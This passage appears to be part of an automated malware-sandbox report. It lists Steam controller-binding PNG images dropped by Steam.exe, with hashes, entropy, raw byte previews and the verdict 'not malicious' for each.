Preview:	.PNG........IHDR...C..........(.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_active_rs_up.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 141, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	8585
Entropy (8bit):	7.9645382427983815
Encrypted:	false
SSDEEP:
MD5:	9C1AA009E2CB2E87BE97B40695C42DB2
SHA1:	CB053A7F7390522F147E6F506088923718704784
SHA-256:	31AED3CB16130074C673639BF14EC04FA952C467BF3EC25B997D3EB64E941105
SHA-512:	4D3D2CD65AE931CDFF8F4E59A46A427ED4614DE7EB6A65F6609F8BAC08F98D6DE0E26D7F872BBF4E6907FAE2F425F363C4C338643A6BFD1133C7D820042B9733
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C..........(.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_active_rt.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 100, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2284
Entropy (8bit):	7.8615511369531355
Encrypted:	false
SSDEEP:
MD5:	E03C9F05D058D65EAB0E5C2480B1BEE1
SHA1:	64D251007BD155CEAE53DACC8ED059B3328B8DFE
SHA-256:	1EA5A20503EC7945FE61521D078D3B41730CFF167FA0200D643441F114829B3E
SHA-512:	A9815D9F018618655489DB5BFE61573F07CB0D6B10185C2D2530E870120B839875B90EE9133A2BA3AB5B31CCC8DDED4AF92BD3DE6D072BC5E1B5C0B5F024E13B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C...d......c......IDATx..il.U......M...B...e)...Z....$&......!..D!.~(Qp.%V...({$... ...... .a3.h ....z......y3...I........$...&(..5.5.U..........E.."O.(...k.1N.U....N.U..&L0.U.....#m.uPPa..2.).!.uJ.IA..u.G.j..6x...R..}+.O>N..I..B..z..."....7I.{.Q...... -. .E(.%%V................"nd..gB^...,..M.\|.!..D3..........0..D.#...N..e...l#..4.<..v.J.!..:P..4.2...!@,5.....K?...Z..u..Y..l2....<.W.....h....,7aT.9.._.A....I..m1q..1......c$......`.l3...1..G....A....A.9o%.1..J.pdh,..`.A.Xe...ou.e \|...b.T{[.!.>....x..Nf..i.m#.0....x..n.!..YYT..Wh.....B.l7X.S4.Ezk.?Bl/Cw..LQ4.;4NscxA(B.t`.4........V...%.....v.I.9..IkTN...D..l.k.{.3.Q.N.=.h...0..R....3.h@1G/?.<fu@.'......1......U.0.,...........a&.E..v..q6.."Vv...:x9..\o.!CV...m1.*.j.......0T.....0 .I.F..".4%.0.5...o.u.0.`........jJ..y..Q.x0.&.......u"l.{a(.....?..I.......!u..Zo.Uf...(.6i".tV..:Q..eC.^a. y..m.qU.C.(r...k(.[ .[.)6.0.&M..@.].a5d..`..7....Q....X...0.:..&.9P....D.v....t.OZ....D

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_active_start.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 110, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2261
Entropy (8bit):	7.8309414152438315
Encrypted:	false
SSDEEP:
MD5:	11F2B06CD14BCE1E7E5208EC9B47900B
SHA1:	DED626DAA72F11DF7B077C9D70E29C58C2C9E640
SHA-256:	EE70D2D215698469B669AC508BC92D255A268C601B1E3F609D2A0E22AB876EA8
SHA-512:	32163C0C876F0C8BEB5B52B783E9A1FC557C63E088C54CDD3841A60CE80598872CE1528AA0F11357B7517BD1489F17EF364A6DFF3BCDFDCDAD9A616D87143988
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C...n.....\|.......IDATx..yl.u......B....Z9..B.......[z..FK.1!....c(P.H.V..OH...." ..x"......$.($ ........,n........?.i...g...{.c.aY..y..9Q#Q..%...A.E.+..Y...B...X.)....F......`..)..`'..Dm7.....u.UaP.Qg..A..B.`%..P.M. .i..!...zUM..N.;.K`.>.vz..%...u...4...y....=.4...P^.P.-1j.D.`.^....f.C.z.-D#s....2.,.`.M#M.....jP.Q.V..7..~.J.2.l....:%...!....h>.l5v... ..AuQ.>.,.3...X...k...\|}.!.EuR.>.....0..X...8.W...OY..........3.(9..a..C......p.....f.I....d.."Q..m.@F.!....z..Ax.Q.!...t..#...e...Q.wtk.!......>B....T..!,\|N.M...5..2.....jaT..T..#..C...J.0.^!Y.S.g7..Q......F..Z..;....Z....=.... <".d`.U.....b.`.>....{$).h.'.=.....l....C..M.*F6h...v.N....2...".c...p6!."..7...yCm.8.}...N....,.h..........t..'[...(d...,.....'...."A.-h..ax4...[.l.g......#..b..R...1.....'[.A.z..$.c.x..-ND[.f..h.w..t]...n).......q.`x{.0<.....w.W?.$....y1...D..O.a......zc...$..'1.I"...08..4...e.rOA..`....0.^Q.~..I...0...]p.....\.:..Zjj..w..[..L......%..n:=....U....-b.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_active_system.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 129, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3132
Entropy (8bit):	7.905879474287868
Encrypted:	false
SSDEEP:
MD5:	419ECA364178F7AC9B635200B0DDBFE0
SHA1:	CD89DE6FBF3633D8D42A3BAAC237E3E0245F6AED
SHA-256:	EB487FEFC1DB778931E4634AAB2491877C1A783D185A4890250E943869E5AB3F
SHA-512:	32AE57ABC9ADD40B68EB27914A59900D6ABEFCB892A77435FB3B8B8CDD8C28A6A2FB72935A6397EF691457610A8896C5FAAACA34DFBC166E5B17F9B9F84D759C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C.................IDATx...p..........s.L..B.N..!..Cc7....m:i..........N...0...P....0$..L..`..1......].p....'K.....$==.4.......'......3.?.....D...$.Dt.....U.......bw.X..eW!M....I.6.<>.&.....vX....\|..V.X.$.J.!.U..n.....:...>...j"iB.V..2`_<.l..`...lB......k>......9..i0-...u..Qo.0......7....a..M.i..........2...8+.._R......=... ..iU(..y....^.....3.y6iV..'.ex.2.v....Z......W...APS...\.X.....M.`.s....6q.........ek......$Z..;.._.,.A.&..........I.. ...:..'........n..E..M...?j(2.ZJF.-.. ...pu.Q..7...#.W{#..BP..b..Q..y.L..U#.5.Y.U.n\.)oG....i...}....ag...;v.x.....N.S.b...>ej.S...C.....jGUU.;o.\|.y<..!m.-..wZ0...'..m....=..V^C....%..ja8z{v.8y....7n...E..#G.g........5..'..S....#^-....?\|.....j.u......@...Sb.xo0.:.....>c...O?..q={A........_.8......2zs.L.lP.._.F..Oae...K./.Fa.)....AE..v......F{\....@.(.G8.F.<1.!..W.......c.....b.o.........;.s....J.....I.;A.\).s.h.wn..q^G.......O...{W.,.E...5.!jM.g......1..^......Z.o......

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_active_x.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 119, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2364
Entropy (8bit):	7.409430430589215
Encrypted:	false
SSDEEP:
MD5:	B2179F6EB62B71CDC2B1EC4D393DD2C3
SHA1:	9C259A3936DA27493B83D7C03F8735ED0DCDD5CD
SHA-256:	9AF7B5B37B727C9C3298D9EA1AAADFA930EDD87CFAE014ACC8F81166F09B2452
SHA-512:	B5BEB093662C3D17F6FD60D8C011D4B9E8C12EFCFE052ACB66FD467ABA1F875DC332FDD3D07BD775D4FCAF64A2A8F62FE1B8A03C50CBADD3EB9742A3105CC89A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C...w.....o.......PLTE...................................................."..)....+..-..,..-..0..0..2..3..4..5..5..6..7..8..9..:..:.T...............(..@..A.T...7..<.T...I..J..P.T.........:. S.T.....T..T...!.2...".#Z.T..T..&b.T..'d.T...,..1..1.T..T..l.T..0}.1...=.T..-v..D.3..T..T..T..1..7..7..T..L..T..T..T..T..T.."X."X.:..T..%`.6..>..T..T..T..@..@..+o.T...x.T../z.E..T..0}.J..2..1..1..2..T..T..3..G..;..;..T..M..T..T..J..O..O..T..T..9..;..9..;..<..Q..T..T..?..B..T..N..T..T..R..B..C..T..E..S..T..T..T..H..T..I..T..J..T..T..T..K..P..T..T..T..T..T..N..R..T..N..T..N..P..P..O..P..P..T..T..R..T..T..0\|.0}.0~.2..4..5..5..6..7..8..9..9..<..<..>..>..?..@..A..C..D..D..D..E..G..H..J..J..K..N..P..Q..Q..R..S..T..T..W..Z..]..`..c..........tRNS........................................................................#$$%'+--356;<=?DEHIIJJMNPQUVWXaafhikrstu.................................................................................F`x...mIDATX..._.e..p.._(S+..2.......7#..S.K..D.%

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_active_y.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 118, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2382
Entropy (8bit):	7.371356036665112
Encrypted:	false
SSDEEP:
MD5:	16C22B6C3D6D6284CB7BFC09FFE31B3F
SHA1:	06B288DDE009A114844F9565D91ED00DAFB38137
SHA-256:	A90CDA690D1E41081E010CBE3A5220C3514876DB97836A3ECB318ADA5F01B385
SHA-512:	B04EF9C98DE61D95280904ACB2C390825986A5F887B42F9BCCF6F58772045223A61F6DF62102E6CD200F92E9404B9B362F2665FD58DDD29B0E54223D48DB9603
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C...v........_....PLTE....................................................!.."..#..$..$..'..(..(..)..)....+..,.....,..-..0../..0..2..3..4..5..5..6..7..8..9..:.T...............(..@..A.T...7..<.T...I..J..P.T.........:. S.T.....T..T...!.2...".#Z.T..T..&b.T..'d.T...,..1..1.T..T..l.T..0}.1...=.T..-v..D.3..T..T..T..1..7..7..T..L..T..T..T..T..T.."X."X.:..T..%`.6..>..T..T..T..@..@..+o.T...x.T../z.E..T..0}.J..2..1..1..2..T..T..3..G..;..;..T..M..T..T..J..O..O..T..T..9..;..9..;..<..Q..T..T..?..B..T..N..T..T..R..B..C..T..E..S..T..T..T..H..T..I..T..J..T..T..T..K..P..T..T..T..T..T..N..R..T..N..T..N..P..P..O..P..P..T..T..R..T..T..0\|.0}.0~.2..4..5..5..6..7..8..9..9..<..<..>..>..?..@..A..D..D..D..E..G..H..J..J..K..N..P..Q..Q..R..S..T..T..W..Z..]..`..c..L.*.....tRNS.................................................................................#$$%'+--356;<=?DEHIIJJMNPQUVWXaafhikrstu.................................................................................y.....^IDATX..._.E

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_multi_a.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 119, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3331
Entropy (8bit):	7.869835393403161
Encrypted:	false
SSDEEP:
MD5:	746D0243C4C0148C36E8C4244B7EABA1
SHA1:	0A9A243E48574247DA91A8FC17EC147C0DE427E8
SHA-256:	0F22E7B457C6E363420460A19426A2A755AF7B2D43F3656208BA29F8FCA0CE94
SHA-512:	4A1FCF9BD79430CD9DA3CE28E12CB3AC48F04F4190A2929C8950026D407955739FB61EF71B82C015A8623CC9B1729C88F99DFCED404EB5888E6BACD3132FDC02
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C...w.....X!......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_multi_b.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 118, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3406
Entropy (8bit):	7.877516460721528
Encrypted:	false
SSDEEP:
MD5:	9FA7C82F6EDE6DF4C3FC8D6954B002DF
SHA1:	C092705D6FBAD978EFD8140F76CD2CBEEEC9041C
SHA-256:	546B9004A1A870812562FD244D6B85F1671AABEF7353FE51D849643767ABAE8A
SHA-512:	15E3C155D5FCE74EC17A5804B93D07B16B966A98B45C6BFF22DB9FAA57A5B3CE00204FEB80164EA128DDAE35CABE811A6A4E390B95F2A00682E7635A1459BDC6
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C...v......}.m....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_multi_back.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 110, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3189
Entropy (8bit):	7.869506231600605
Encrypted:	false
SSDEEP:
MD5:	EEEC72B613102B4E809F03267C02712C
SHA1:	BE46A9B5556E90D090680F6A567649D1E890015B
SHA-256:	54C122098E1D3F28A55E4F28C80D35F44495C6B2E28085DD94B7C3A78A346F78
SHA-512:	31B836234127BDAB1587C9386069E6B42C94EDC390323BDC1F5A868DD2012F0957E899FC6A054554C62623D09F7B36D083B07FB1E25A3D77ECCA6A21ED85446D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C...n.....\|.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_multi_dp.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 51 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4207
Entropy (8bit):	7.919392110426777
Encrypted:	false
SSDEEP:
MD5:	E954A2BCC1F671A2E45F7838075772F5
SHA1:	8F112965E3E2452A5B10F162BD77AD5D9AF5446B
SHA-256:	472D78874928D859A790BC20C1027D4D84AF3A4435610A25749D2460B3F531B5
SHA-512:	E250BD55B997B182C995D40DF593E682A664BDBFC693B5D2C400BA82336F4EF5960BD941B2114E052810AD5D1A3785CB325414DF2A57B0C1795331204658B460
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...3...2............pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_multi_dp_dn.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 23 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3160
Entropy (8bit):	7.888458295365447
Encrypted:	false
SSDEEP:
MD5:	472D56E0746C235519D1C14AF39A086A
SHA1:	E80A3273770C37A37F157BE2C52CB5C16537323E
SHA-256:	46674AB65E971B022973EA25BD357A5E3C7AC874CA33312493AE78C6BF33CBBB
SHA-512:	07238F6865DACB9BE1709C9F52B208BF0471B6E0A5CEBE614D135A0F88CAA3060C14F00661A3103EEBBB324CD826213D922F49C88E3BBDBE4E735DF31A5687F6
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............\|fu....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_multi_dp_lt.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 24 x 22, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3157
Entropy (8bit):	7.8844938465628
Encrypted:	false
SSDEEP:
MD5:	CF374721948B96C58C98AB69D7E8B2E9
SHA1:	B631C9BCEDEED82B2BA0653BB26AC045A7FEBFEF
SHA-256:	674A221BA8ED2662FF050C273368A42575FEF01A7EBFF0130CB85B6AFF1151EE
SHA-512:	404F8518E3CAC8871D9D717B662CE6F25D6FD11271144DE40AB0CF41333CFA388EA83EC81A8033666537BF3FC83E99D1DF7FF8E258E3D03DAD63A2A815859CE5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............}\.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_multi_dp_rt.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 25 x 22, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3151
Entropy (8bit):	7.878230482209116
Encrypted:	false
SSDEEP:
MD5:	8C1663269FED591CB80051489D207555
SHA1:	3CF6AAA2D2CEF4041A76D47055B67CD1FB320170
SHA-256:	E8BA2EB8499B5BA6859042C82C707919EB65723DC3EB81DE7BFAE74DEC91386F
SHA-512:	82AC45CB0C3F35C7291D644C4E08345A6BBEBC9361A078E3028D163AD7A33391B3BC247CBC1C2673C0DA0B2BC8CCEF28B35B2583D773051E9060602A5FA77D39
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............5.7.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_multi_dp_up.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 23 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3199
Entropy (8bit):	7.890575876157625
Encrypted:	false
SSDEEP:
MD5:	0F65F2DEC543B5B9240164DED7E770FF
SHA1:	C607E130A38BC07EB0C8F2B4F9DAABEDE4E8BC3E
SHA-256:	C57B00F2B46CAF11A22252CEE2C1E5B69A912D3BCB6DBFAE745B58AFC2A636CF
SHA-512:	94D2C7D9D6764CAA3E04A896E969D19B01AF3250776F12E1760BA8CD4E5B246D6A1B7F64645E8D15A1E05631E5B4A9BB8909F9A24847482BA2C09564B9B9F6F0
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............\|fu....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

